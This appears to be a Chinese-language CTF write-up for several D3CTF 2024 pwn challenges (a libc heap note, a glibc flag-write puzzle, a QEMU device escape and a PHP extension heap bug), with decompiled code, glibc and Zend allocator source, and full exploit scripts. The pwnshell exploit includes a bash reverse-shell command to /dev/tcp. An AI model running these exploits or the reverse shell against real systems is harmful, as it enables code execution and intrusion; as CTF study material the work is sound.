文章目录
d3note libc 2.37
源码
index越界,show也没有检查,直接打印,这里找到got表,直接开搜就行
然后找能够存有freegot表地址的pie地址,并且pie地址要是余8的,另外不能更低了,更低的got表地址没有写权限,没找到,想看能不能存有chunk_array的pie地址的pie地址,没找到,找存有低于chunk_array的pie地址的pie地址,找到了,能写,然后写chunk_array里的len和ptr,达到任意地址读写的效果,然后写got表
exp
from pwn import *
context(os="linux",arch="amd64",log_level="debug")
p=process("./pwn")
def add(len,index,content):
p.sendline(str(0x114))
time.sleep(1)
p.sendline(str(index))
time.sleep(1)
p.sendline(str(len))
time.sleep(1)
p.sendline(content)
time.sleep(1)
def dele(index):
p.sendline(str(0x1919))
time.sleep(1)
p.sendline(str(index))
time.sleep(1)
def edit(index,content):
p.sendline(str(0x810))
time.sleep(1)
p.sendline(str(index))
time.sleep(1)
p.sendline(content)
time.sleep(1)
def show(index):
p.sendline(str(0x514))
time.sleep(1)
p.sendline(str(index))
time.sleep(1)
show(-927)
# -0x7ceb0
libc=u64(p.recv(6).ljust(8,b"\x00"))-0x7ceb0
print("libc",hex(libc))
system_=libc+0x4c990
add(10,0,b"/bin/sh\x00")
dele(0)
add(10,0,b"/bin/sh\x00")
payload=p64(libc+0x1d46a0)+p64(0)*3+p64(0x100)+p64(0x0000000000404000)
edit(-1460,payload)
edit(0,p64(system_))
gdb.attach(p)
pause()
add(16,1,b"/bin/sh\x00")
dele(1)
p.interactive()
write_flag_where glibc 2.38
这里我电脑不知道为啥打印的是libc基地址到libc代码段开始的部分,而且设置的范围也是libc基地址到libc代码段开始的部分。和题目的设定不一样,题目是代码段部分限制,打印也是代码段部分,所以这里就学习下其他师傅的wp
源码
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#define FLAG_PREFIX "d3ctf{"
#define FLAG_PREFIX_LENGTH (sizeof(FLAG_PREFIX)-1)
#define FLAG_SUFFIX "}"
#define FLAG_SUFFIX_LENGTH (sizeof(FLAG_SUFFIX)-1)
#define LIBC_NAME "libc"
char maps[0x1000], flag[0x100];
uint64_t libc_code_addr_start, libc_code_addr_end;
void write_mem(uint64_t addr, uint8_t byte) {
// uint64_t addr:表示要写入的内存地址。
// uint8_t byte:表示要写入的那个字节的值。
int fd = open("/proc/self/mem", O_RDWR);///proc/self/mem是一个伪文件,它允许直接访问当前进程的地址空间
lseek(fd, addr, SEEK_SET); //将文件描述符fd的文件偏移量设置为addr
write(fd, &byte, 1);
close(fd);
}
void init() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
FILE* maps_stream = fopen("/proc/self/maps", "r");
//这个文件包含了当前进程的虚拟内存布局,包括各个内存段的起始地址、结束地址、权限、偏移量、设备ID以及文件名等信息。
int count = 1;
char *line = NULL;
uint64_t len = 0;
uint64_t addr_start = 0, addr_end = 0, offset = 0, major_id = 0, minor_id = 0, inode_id = 0;
char mode[0x10], file_path[0x100];
memset(mode, 0, sizeof(mode));
memset(file_path, 0, sizeof(file_path));
while (getline(&line, &len, maps_stream) != -1 ) { //getline函数从maps_stream中读取每一行
sscanf(line,"%lx-%lx%s%lx%lu:%lu%lu%s",
&addr_start, &addr_end, mode, &offset,
&major_id, &minor_id, &inode_id, file_path
);//sscanf函数来解析行中的各个字段
if (count == 10) {
libc_code_addr_start = addr_start;
libc_code_addr_end = addr_end;
break;
}//第10行的开始和结束地址赋值给libc_code_addr_start和libc_code_addr_end
count++;
}
if (line) {
printf("%s", line);
free(line);
}
fclose(maps_stream);
int fd = open("/flag", O_RDONLY);
read(fd, flag, 0x100);
close(fd);
}
int main(int argc, char *argv[]) {
init();
uint64_t addr = 0;
uint offset = 0;
printf("flag: "FLAG_PREFIX"[a-f0-9]{%lu}"FLAG_SUFFIX"\n", strlen(flag) - FLAG_PREFIX_LENGTH - FLAG_SUFFIX_LENGTH);
while (scanf("%lu%u", &addr, &offset) == 2) {
if (!(libc_code_addr_start <= addr && addr < libc_code_addr_end) ||
!(offset >= FLAG_PREFIX_LENGTH && offset < strlen(flag) - FLAG_SUFFIX_LENGTH))
break;
write_mem(addr, flag[offset]);
}
return 0;
}
改scanf
https://mp.weixin.qq.com/s/0sBfu94em2sR82OYDZF6zQ?poc_token=HDHBtGajH59VT0-NKwv7pjmuT48L_TeQClVKazJr
带源码调试后发现scanf("%lu%u", &addr, &offset)
的大致逻辑如下
- 不断遍历stdin缓冲区,直到有非空
- 遍历格式化字符串,遍历到%lu后然后会从stdin缓冲区取一个字符,如果是减号或者加号会添加到当前字符缓冲区里
c = inchar ();
if (__glibc_unlikely (c == EOF))
input_error ();
/* Check for a sign. */
if (c == L_('-') || c == L_('+'))
{
char_buffer_add (&charbuf, c);
if (width > 0)
--width;
c = inchar ();
}
- 然后开始循环一个字符一个字符读stdin缓冲区的内容,每个字符需要通过相关检查才能加入当前字符缓冲区
正常数字字符会进入
char_buffer_add (&charbuf, c);
if (width > 0)
--width;
c = inchar ();
- 如果不是数字字符会进入,break后跳出循环
else if (!ISDIGIT (c) || (int) (c - L_('0')) >= base)
{
……
else
break;
}
- 然后判断当前字符串缓冲区长度和内容,然后会把非数字字符放回stdin缓冲区里并往字符缓冲区加入零字符来代替非数字字符
if (char_buffer_size (&charbuf) == 0
|| (char_buffer_size (&charbuf) == 1
&& (char_buffer_start (&charbuf)[0] == L_('+')
|| char_buffer_start (&charbuf)[0] == L_('-'))))
{
/* There was no number. If we are supposed to read a pointer
we must recognize "(nil)" as well. */
if (__builtin_expect (char_buffer_size (&charbuf) == 0
&& (flags & READ_POINTER)
&& (width < 0 || width >= 5)
&& c == '('
&& TOLOWER (inchar ()) == L_('n')
&& TOLOWER (inchar ()) == L_('i')
&& TOLOWER (inchar ()) == L_('l')
&& inchar () == L_(')'), 1))
/* We must produce the value of a NULL pointer. A single
'0' digit is enough. */
char_buffer_add (&charbuf, L_('0'));
else
{
/* The last read character is not part of the number
anymore. */
ungetc (c, s);
conv_error ();
}
}
else
/* The just read character is not part of the number anymore. */
ungetc (c, s);
/* Convert the number. */
char_buffer_add (&charbuf, L_('\0'));
- 然后将字符缓冲区转化为数字,数字保存在num.ul
if (need_longlong && (flags & LONGDBL))
{
…………;
else
num.uq = __strtoull_internal
(char_buffer_start (&charbuf), &tw, base, flags & GROUP);
}
- 给参数赋值,参数是地址,所以是*的形式
else if (need_long && (flags & LONG))
*ARG (unsigned long int *) = num.ul;
…………
else
*ARG (unsigned char *) = (unsigned char) num.ul;
- 然后再次开始继续遍历格式化字符串,直到格式化字符串为0字节
while (*f != '\0')
{
…………
}
利用
这里scanf("%lu%u", &addr, &offset)
分割输入通过非数字字符(换行符)可以分开
然后可以利用向缓冲区读一个字符来判断正负号时将正负号替换为写入的flag字符,然后下次调用scanf时就会向stdin缓冲区读一个字符(输入的字符)来和写入的flag字符比较,如果是的话会把该字符放到当前字符缓冲区里,然后继续取stdin缓冲区(没有的话会等待用户输入,因为是一个字节的读缓冲区),不是的话就会按照后面数字字符读取
改了判断的字符但问题是__strtoull_internal
会转换字符串为数字,并且对相应符号也有转换规则
通过其他版本的源码级别调试确定所给版本IDA反编译对应的位置和相关函数的源码路径
stdlib/strtol_l.c
首先会判断第一个字符,然后将剩下字符转换为对应的数字,最后根据前面符号来确定正负,如果判断第一个字符没有找到合适后面转换对应数字也没有对应的会break,然后会返回0
negative = 0;
if (*s == L_('-'))
{
negative = 1;
++s;
}
else if (*s == L_('+'))
++s;
…………
for (;c != L_('\0'); c = *++s)
{
if (s == end)
break;
if (c >= L_('0') && c <= L_('9'))
c -= L_('0');
#ifdef USE_NUMBER_GROUPING
# ifdef USE_WIDE_CHAR
else if (grouping && (wchar_t) c == thousands)
continue;
# else
else if (thousands_len)
{
for (cnt = 0; cnt < thousands_len; ++cnt)
if (thousands[cnt] != s[cnt])
break;
if (cnt == thousands_len)
{
s += thousands_len - 1;
continue;
}
if (ISALPHA (c))
c = TOUPPER (c) - L_('A') + 10;
else
break;
}
# endif
#endif
else if (ISALPHA (c))
c = TOUPPER (c) - L_('A') + 10;
else
break;
if ((int) c >= base)
break;
/* Check for overflow. */
if (i > cutoff || (i == cutoff && c > cutlim))
overflow = 1;
else
{
use_long:
i *= (unsigned LONG int) base;
i += c;
}
}
…………
return negative ? -i : i;
改write
https://blog.xmcve.com/2024/04/29/D3CTF-2024-Writeup/#title-4
原来write是往 open("/proc/self/mem", O_RDWR)
的文件描述符写flag数组的某个偏移处的字节值,不难想到可以改文件描述符为标准输出,从而回显
unsigned __int64 __fastcall write(unsigned int a1, const char *a2, size_t a3)
{
unsigned __int64 result; // rax
unsigned __int64 v4; // rax
unsigned int v5; // r8d
unsigned __int64 fd; // [rsp+0h] [rbp-20h]
if ( _libc_single_threaded )
{
result = sys_write(a1, a2, a3);
if ( result > 0xFFFFFFFFFFFFF000LL )
{
__writefsdword((unsigned int)&errno, -(int)result);
return -1LL;
}
}
else
{
sub_938F0();
v4 = sys_write(a1, a2, a3);
if ( v4 > 0xFFFFFFFFFFFFF000LL )
{
__writefsdword((unsigned int)&errno, -(int)v4);
v4 = -1LL;
}
fd = v4;
sub_93970(v5);
return fd;
}
return result;
}
这里根据_libc_single_threaded 来执行不同分支,如果__libc_single_threaded为零会通过栈上偏移内容来传参
服务器在处理客户端连接时,将 socket 文件描述符重定向为 0、1、2,那么标准输入、输出、错误都会指向同一个 连接socket,这样客户端发送数据到socker最后在服务端会变成程序从0输入,接收数据就是从服务端打印到2,从而输出到socker
.text:000000000011B2C4 8B 7C 24 08 mov edi, dword ptr [rsp+28h+fd] ; fd
-
8B: 这是 MOV 指令的操作码(Opcode)
- 8B 表示从内存移动到寄存器的 32 位操作
-
7C: 这是 ModR/M 字节
- 7 = 111b: 表示使用 [寄存器+偏移量] 的寻址模式
- C = 1100b:
- 11b: 表示目标操作数是寄存器
- 00b: 表示目标寄存器是 EDI (000 对应 EAX, 001 对应 ECX, …, 111 对应 EDI)
-
24: 这是 SIB (Scale-Index-Base) 字节
- 2 = 00 10b:
- 00b: 比例因子为 1
- 10b: 索引寄存器是 ESP (100)
- 4 = 100b: 基址寄存器是 ESP/RSP (100)
- 2 = 00 10b:
-
08: 这是一个 8 位的偏移量
- 表示相对于 RSP 的偏移量是 8 字节
解释:
- MOV 指令用于数据移动
- 目标操作数是 EDI 寄存器
- 源操作数是一个内存位置,由 [RSP + 8] 指定
- 使用 SIB 字节是因为基址寄存器是 ESP/RSP
注意:
- 在 64 位模式下,即使操作数是 32 位的,地址计算仍然使用 64 位寄存器(这里是 RSP)
- 原始汇编中的 [rsp+28h+fd] 在编译后被优化为 [rsp+8],这可能是因为编译器重新安排了栈帧布局
所以这里改08字节使得 [rsp+8]为零就行
.text:000000000011B284 80 3D B5 B2 0E 00 00 cmp cs:__libc_single_threaded, 0
-
80: 这是操作码(opcode),代表
cmp
指令。cmp
是一个比较指令,用于比较两个操作数。 -
3D: 这是
cmp
指令的 ModR/M 字节,表示将立即数与一个内存地址中的值进行比较。 -
**B5 B2 0E 00 **: 这四个字节表示内存地址的偏移量(offset)。在这个指令中,内存地址是相对于当前指令所在位置的偏移量。这是一个 32 位的小端序地址(低字节在前,高字节在后),对应的偏移量是
0x000EB2B5
。 -
00: 这是要比较的立即数,表示与 0 进行比较。
__libc_single_threaded值好像默认是1,这里把立即数改为1
D3BabyEscape
大部分是溢出,基本都是溢出读函数指针泄露libc然后溢出写函数指针
源码
__int64 __fastcall mmio_read(const char ****a1, unsigned __int64 addr, unsigned int size)
{
__int64 dest; // [rsp+30h] [rbp-20h] BYREF
struct dev_state *state; // [rsp+38h] [rbp-18h]
unsigned __int64 v7; // [rsp+40h] [rbp-10h]
unsigned __int64 v8; // [rsp+48h] [rbp-8h]
v8 = __readfsqword(0x28u);
state = (struct dev_state *)sub_7F810F(
a1,
(__int64)"l0dev",
(__int64)"../qemu-7.0.0/hw/misc/l0dev.c",
0x52u,
(__int64)"l0dev_mmio_read");
dest = -1LL;
v7 = addr >> 3;
if ( size > 8 )
return dest;
if ( 8 * v7 + size <= 0x100 )
memcpy(&dest, &state->buf[(unsigned int)(state->base + addr)], size);
return dest;
}
// local variable allocation has failed, the output may be wrong!
const char ****__fastcall mmio_write(const char ****a1, unsigned __int64 addr, const char *val, __int32 size)
{
const char ****result; // rax
__int32 size_1; // [rsp+4h] [rbp-3Ch] OVERLAPPED
const char *value; // [rsp+8h] [rbp-38h] BYREF
unsigned __int64 addr_2; // [rsp+10h] [rbp-30h]
const char ****v8; // [rsp+18h] [rbp-28h]
int addr_1; // [rsp+24h] [rbp-1Ch]
struct dev_state *state; // [rsp+28h] [rbp-18h]
unsigned __int64 v11; // [rsp+30h] [rbp-10h]
const char *v12; // [rsp+38h] [rbp-8h]
v8 = a1;
addr_2 = addr;
value = val;
size_1 = size;
state = (struct dev_state *)sub_7F810F(
a1,
(__int64)"l0dev",
(__int64)"../qemu-7.0.0/hw/misc/l0dev.c",
0x85u,
(__int64)"l0dev_mmio_write");
v11 = addr >> 3;
result = (const char ****)addr;
addr_1 = addr;
if ( (unsigned int)size_1 <= 8 )
{
result = (const char ****)(8 * v11 + (unsigned int)size_1);
if ( (unsigned __int64)result <= 0x100 )
{
if ( addr_1 == 64 )
{
v12 = value;
addr_1 = state->function((const char *)&value) % 256;
return (const char ****)memcpy(&state->buf[addr_1], &value, (unsigned int)size_1);
}
else if ( addr_1 == 128 )
{
result = (const char ****)value;
if ( (unsigned __int64)value <= 0x100 )
{
result = (const char ****)state;
state->base = (_DWORD)value;
}
}
else
{
return (const char ****)memcpy(&state->buf[addr_1], &value, (unsigned int)size_1);
}
}
}
return result;
}
__int64 __fastcall pmio_read(const char ****a1, unsigned __int64 addr, unsigned int size)
{
__int64 dest; // [rsp+30h] [rbp-20h] BYREF
struct dev_state *state; // [rsp+38h] [rbp-18h]
unsigned __int64 v7; // [rsp+40h] [rbp-10h]
unsigned __int64 v8; // [rsp+48h] [rbp-8h]
v8 = __readfsqword(0x28u);
state = (struct dev_state *)sub_7F810F(
a1,
(__int64)"l0dev",
(__int64)"../qemu-7.0.0/hw/misc/l0dev.c",
0x68u,
(__int64)"l0dev_pmio_read");
dest = -1LL;
v7 = addr >> 3;
if ( size > 8 )
return dest;
if ( 8 * v7 + size > 0x100 )
return dest;
memcpy(&dest, &state->buf[(unsigned int)addr], size);
if ( (_DWORD)dest == 666 )
++key;
return dest;
}
// local variable allocation has failed, the output may be wrong!
void *__fastcall pmio_write(const char ****a1, unsigned __int64 addr, __int64 value, unsigned int size)
{
void *result; // rax
unsigned int size_1; // [rsp+4h] [rbp-3Ch] OVERLAPPED
__int64 value_1; // [rsp+8h] [rbp-38h] BYREF
unsigned __int64 addr_1; // [rsp+10h] [rbp-30h]
const char ****v8; // [rsp+18h] [rbp-28h]
int v9; // [rsp+2Ch] [rbp-14h]
struct dev_state *state; // [rsp+30h] [rbp-10h]
unsigned __int64 v11; // [rsp+38h] [rbp-8h]
v8 = a1;
addr_1 = addr;
value_1 = value;
size_1 = size;
state = (struct dev_state *)sub_7F810F(
a1,
(__int64)"l0dev",
(__int64)"../qemu-7.0.0/hw/misc/l0dev.c",
0xADu,
(__int64)"l0dev_pmio_write");
if ( key )
return memcpy(&state->buf[(unsigned int)(state->base + addr_1)], &value_1, size_1);
result = (void *)(addr_1 >> 3);
v11 = addr_1 >> 3;
if ( size_1 <= 8 )
{
result = (void *)(8 * v11 + size_1);
if ( (unsigned __int64)result <= 0x100 )
{
v9 = addr_1;
return memcpy(&state->buf[(unsigned int)addr_1], &value_1, size_1);
}
}
return result;
}
- mmio_write写base在0x100范围内,而addr在255范围内,buf在276范围内,mmio_read时候溢出读高地址的函数指针泄露libc地址
- pmio_write写buf某个位置666,然后pmio_read读该位置使得key++满足pmio_write越界写的条件然后越界写函数指针为system地址
- mmio_write调用该函数指针,参数可控为/bin/sh
mmio_read那部分有点问题&state->buf[(unsigned int)(state->base + addr)]
这里应该是addr/8*8
最后写rand_r地址得时候写低四个字节就够了
最后由于val值只能是四个字节,所以system(sh\x00)
exp
#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include<sys/io.h>
uint32_t pmio_base=0x000000000000c000;
uint32_t pmio_write(uint32_t addr, uint32_t value)
{
outl(value,pmio_base+addr);
}
uint32_t pmio_read(uint32_t addr)
{
return (uint32_t)inl(pmio_base+addr);
}
char* mmio_mem;
void mmio_write(uint64_t addr, uint64_t value) {
*(uint32_t*)(mmio_mem + addr) = value;
}
uint64_t mmio_read(uint64_t addr)
{
return *(uint64_t *)(addr+mmio_mem);
}
int main()
{
iopl(3);
setbuf(stdin,0);
setbuf(stdout,0);//立即显示到终端上
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
mmio_write(128,244);
//mmio_write(64,123); rand_r
uint64_t leak_addr=mmio_read(32);
printf("libc %p\n",leak_addr-0x46780);
uint64_t system_addr=leak_addr-0x46780+0x50d70;
printf("system_addr %p\n",system_addr);
pmio_write(0,666);
pmio_read(0);
pmio_write(32,system_addr);
char str[3]="sh\x00";
uint32_t cmd =*(uint32_t*)str;
printf("cmd %p\n",cmd);
mmio_write(64,cmd);
}
pwnshell
发现有些函数的参数反汇编少了,改函数定义,添加参数
Z zval**类型
然后拿某个扩展库找到该结构体定义,然后在IDA中新建该结构体
存在off by null
unsigned __int64 __fastcall zif_addHacker(__int64 a1, __int64 a2)
{
__int64 index; // rbp
__int64 v3; // rdi
__int64 avai_index; // rdx
_BYTE *p_notexist; // rax
struct chunk *v7; // r12
struct chunk1 *chunk1; // rbx
void *chunk2; // rax
size_t size; // rdx
char *ptr; // rsi
struct _zval_struct *v12; // r13
size_t size_1; // rax
struct _zval_struct *arg2; // [rsp+8h] [rbp-40h] BYREF
struct _zval_struct *arg1; // [rsp+10h] [rbp-38h] BYREF
unsigned __int64 v16; // [rsp+18h] [rbp-30h]
v3 = *(unsigned int *)(a1 + 44);
v16 = __readfsqword(0x28u);
if ( (unsigned int)zend_parse_parameters(v3, "zz", &arg1, &arg2) != -1 )// v13是第二个参数
{
if ( arg1->u1.v.type == 6 && arg2->u1.v.type == 6 )
{
avai_index = 0LL;
p_notexist = &chunkList[0].notexist;
while ( *p_notexist != 1 )
{
++avai_index;
p_notexist += 16;
if ( avai_index == 16 )
goto LABEL_9;
}
index = avai_index;
LABEL_9:
v7 = &chunkList[index];
chunk1 = (struct chunk1 *)_emalloc((_QWORD *)(arg2->value.lval->len + 16));
chunk2 = (void *)_emalloc((_QWORD *)arg1->value.lval->len);
chunk1->chunk2_ptr = chunk2;
size = arg1->value.lval->len;
ptr = arg1->value.lval->val;
chunk1->chunk1_size = size;
memcpy(chunk2, ptr, size);
v12 = arg2;
memcpy(chunk1->chunk1_buf, arg2->value.lval->val, arg2->value.lval->len);
size_1 = v12->value.lval->len;
v7->chunk_ptr = chunk1;
v7->notexist = 13;
*((_BYTE *)chunk1->chunk1_buf + size_1) = 0;// off by null
}
else
{
*(_DWORD *)(a2 + 8) = 1;
}
}
return v16 - __readfsqword(0x28u);
}
php堆源码
_emalloc->zend_mm_alloc_heap
zend_mm_alloc_small
* Small - less than 3/4 of page size. Small sizes are rounded up to nearest
* greater predefined small size (there are 30 predefined sizes:
* 8, 16, 24, 32, ... 3072). Small blocks are allocated from
* RUNs. Each RUN is allocated as a single or few following pages.
* Allocation inside RUNs implemented using linked list of free
* elements. The result is aligned to 8 bytes.
zend_mm_alloc_large
* Large - a number of 4096K pages inside a CHUNK. Large blocks
* are always aligned on page boundary.
zend_mm_alloc_huge
* Huge - the size is greater than CHUNK size (~2M by default), allocation is
* performed using mmap(). The result is aligned on 2M boundary.
_efree->zend_mm_free_heap
通过size得到所在bin的idx
if (EXPECTED(size <= ZEND_MM_MAX_SMALL_SIZE)) {
ptr = zend_mm_alloc_small(heap, ZEND_MM_SMALL_SIZE_TO_BIN(size))
ZEND_MM_SMALL_SIZE_TO_BIN的转换规则如下
if (size <= 64) {
/* we need to support size == 0 ... */
return (size - !!size) >> 3;
} else {
t1 = size - 1;
t2 = zend_mm_small_size_to_bit(t1) - 3;
t1 = t1 >> t2;
t2 = t2 - 3;
t2 = t2 << 2;
return (int)(t1 + t2);
}
如果对应的bin初始化了(不为NULL)就按照类似tcache方式分配掉,否则通过zend_mm_alloc_small_slow初始化并返回第一个
size在small范围时候进入该函数,
static zend_always_inline void *zend_mm_alloc_small(zend_mm_heap *heap, int bin_num ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC)
{
#if ZEND_MM_STAT
do {
size_t size = heap->size + bin_data_size[bin_num];
size_t peak = MAX(heap->peak, size);
heap->size = size;
heap->peak = peak;
} while (0);
#endif
if (EXPECTED(heap->free_slot[bin_num] != NULL)) {
zend_mm_free_slot *p = heap->free_slot[bin_num];
heap->free_slot[bin_num] = p->next_free_slot;
return p;
} else {
return zend_mm_alloc_small_slow(heap, bin_num ZEND_FILE_LINE_RELAY_CC ZEND_FILE_LINE_ORIG_RELAY_CC);
}
}
这里会初始化,会分配些页面给当前size对应的idx,然后切分成各个块通过链表链接起来,所以一开始是物理相邻的
static zend_never_inline void *zend_mm_alloc_small_slow(zend_mm_heap *heap, uint32_t bin_num ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC)
{
zend_mm_chunk *chunk;
int page_num;
zend_mm_bin *bin;
zend_mm_free_slot *p, *end;
bin = (zend_mm_bin*)zend_mm_alloc_pages(heap, bin_pages[bin_num] ZEND_FILE_LINE_RELAY_CC ZEND_FILE_LINE_ORIG_RELAY_CC);
if (UNEXPECTED(bin == NULL)) {
/* insufficient memory */
return NULL;
}
chunk = (zend_mm_chunk*)ZEND_MM_ALIGNED_BASE(bin, ZEND_MM_CHUNK_SIZE);
page_num = ZEND_MM_ALIGNED_OFFSET(bin, ZEND_MM_CHUNK_SIZE) / ZEND_MM_PAGE_SIZE;
chunk->map[page_num] = ZEND_MM_SRUN(bin_num);
if (bin_pages[bin_num] > 1) {
uint32_t i = 1;
do {
chunk->map[page_num+i] = ZEND_MM_NRUN(bin_num, i);
i++;
} while (i < bin_pages[bin_num]);
}
/* create a linked list of elements from 1 to last */
end = (zend_mm_free_slot*)((char*)bin + (bin_data_size[bin_num] * (bin_elements[bin_num] - 1)));
heap->free_slot[bin_num] = p = (zend_mm_free_slot*)((char*)bin + bin_data_size[bin_num]);
do {
p->next_free_slot = (zend_mm_free_slot*)((char*)p + bin_data_size[bin_num]);
p = (zend_mm_free_slot*)((char*)p + bin_data_size[bin_num]);
} while (p != end);
/* terminate list using NULL */
p->next_free_slot = NULL;
/* return first element */
return bin;
}
b _start 连接后先执行,然后会加载libc库
b* __libc_start_main+128 会调用一个函数去解析php
该函数然后call rax会进入另一个函数
在另一个函数里最终调用call qword ptr [rdx+0x10]
加载库
b*pie+0x247861 和php版本有关
exp
这里选择一个没有被初始化过bin的size大小,这样得到的第一个是页对齐的,就是低字节是零字节
然后addhacker第一次分配时候第一个chunk零字节溢出改到此时链表第一个chunk的next部分低字节,
然后再次addhacker,此时申请的第二个chunk将原来的第一次分配的第一个chunk分配到,
然后此时可以改原来的第一个chunk的chunk2ptr和size(edithacker要用),然后覆盖为efree的got表地址,
然后edithacker改为system就行,最后addhacker将申请的第二个chunk存放命令就行,然后removehacker掉最后addhacker的index
<?php
$heap_base = 0;
$libc_base = 0;
$libc = "";
$mbase = "";
function u64($leak){
$leak = strrev($leak);
$leak = bin2hex($leak);
$leak = hexdec($leak);
return $leak;
}
function p64($addr){
$addr = dechex($addr);
$addr = hex2bin($addr);
$addr = strrev($addr);
$addr = str_pad($addr, 8, "\x00");
return $addr;
}
function leakaddr($buffer){
global $libc,$mbase;
$p = '/([0-9a-f]+)\-[0-9a-f]+ .* \/usr\/lib\/x86_64-linux-gnu\/libc.so.6/';
$p1 = '/([0-9a-f]+)\-[0-9a-f]+ .* \/usr\/local\/lib\/php\/extensions\/no-debug-non-zts-20230831\/vuln.so/';
preg_match_all($p, $buffer, $libc);
preg_match_all($p1, $buffer, $mbase);
return "";
}
function leak(){
global $libc_base, $module_base, $libc, $mbase;
ob_start();
include("/proc/self/maps");
$buffer = ob_get_contents();
ob_end_flush();
leakaddr($buffer);
$libc_base=hexdec($libc[1][0]);
$module_base=hexdec($mbase[1][0]);
}
function main(){
$cmd = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/6666 0>&1"';
leak();
global $libc_base, $module_base;
addHacker(str_repeat("\x11", 0x8), str_repeat("\x11", 0x30));
addHacker(str_pad(p64($module_base + 0x4038).p64(0xff), 0x40, "\x11");, str_repeat("\x11", 0x2f));
addHacker(str_pad($cmd, 0x40, "\x00"), "1");
editHacker(0, p64($libc_base + 0x4c411););
removeHacker(2);
}
main();
?>